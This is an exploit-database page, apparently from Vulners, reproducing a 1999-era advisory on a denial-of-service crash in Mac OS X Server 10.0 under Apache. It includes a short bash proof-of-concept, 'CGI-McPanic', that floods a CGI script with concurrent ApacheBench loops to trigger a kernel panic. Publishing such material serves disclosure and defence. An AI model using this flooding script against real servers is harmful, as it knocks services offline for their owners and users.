Apple Mac OSX Server 10.0 - Overload
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | CVE-1999-1412 affecting package httpd 2.4.46-3 | 8 Oct 202018:09 | – | cbl_mariner |
 | CVE-1999-1412 vulnerabilities | 22 Mar 202504:12 | – | cgr |
 | CVE-1999-1412 | 12 Sep 200104:00 | – | cve |
 | CVE-1999-1412 | 12 Sep 200104:00 | – | cvelist |
 | A possible interaction between Apple MacOS X release 1.0 and Apache HTTP server allows remote attackers to cause a denial of service (crash) via a flood of HTTP GET requests to CGI programs which generates a large number of processes. | 25 Sep 202000:00 | – | mscve |
 | CVE-1999-1412 | 3 Jun 199904:00 | – | nvd |
 | CGA-744M-FM4M-QXPW | 29 Jan 202600:49 | – | osv |
| CGA-GPFG-33RX-33JC | 31 Mar 202515:59 | – | osv |
| MINI-CGXV-PF4V-3GH8 | 29 May 202501:09 | – | osv |
 | CVE-1999-1412 vulnerabilities | 22 Mar 202504:43 | – | wolfi |
source: https://www.securityfocus.com/bid/306/info
A vulnerability in the MacOS X Server may crash it while under heavy load.
The vulnerability appears while stress testing a server running the Apache web server and 32 or more process are concurntly doing HTTP GET request to a CGI script in a loop. The system will panic and display a stack trace with ipc_task_init.
Although the vulnerability is not related to web servering it can only be reproduced so far using this means.
#!/bin/bash
#
# CGI-McPanic: script to crash MacOS X with
# concurrent calls to a CGI-Script
#
# before use, do:
#
# chmod a+x /Local/Library/WebServer/CGI-Executables/test-cgi
#
# then call
#
# bash ./CGI-McPanic
#
NUMPROC=32
i=0
while [ $i -le $NUMPROC ]
do
i=$[$i + 1]
ab -t 3600 http://localhost/cgi-bin/test-cgi &
doneData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Jun 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.35342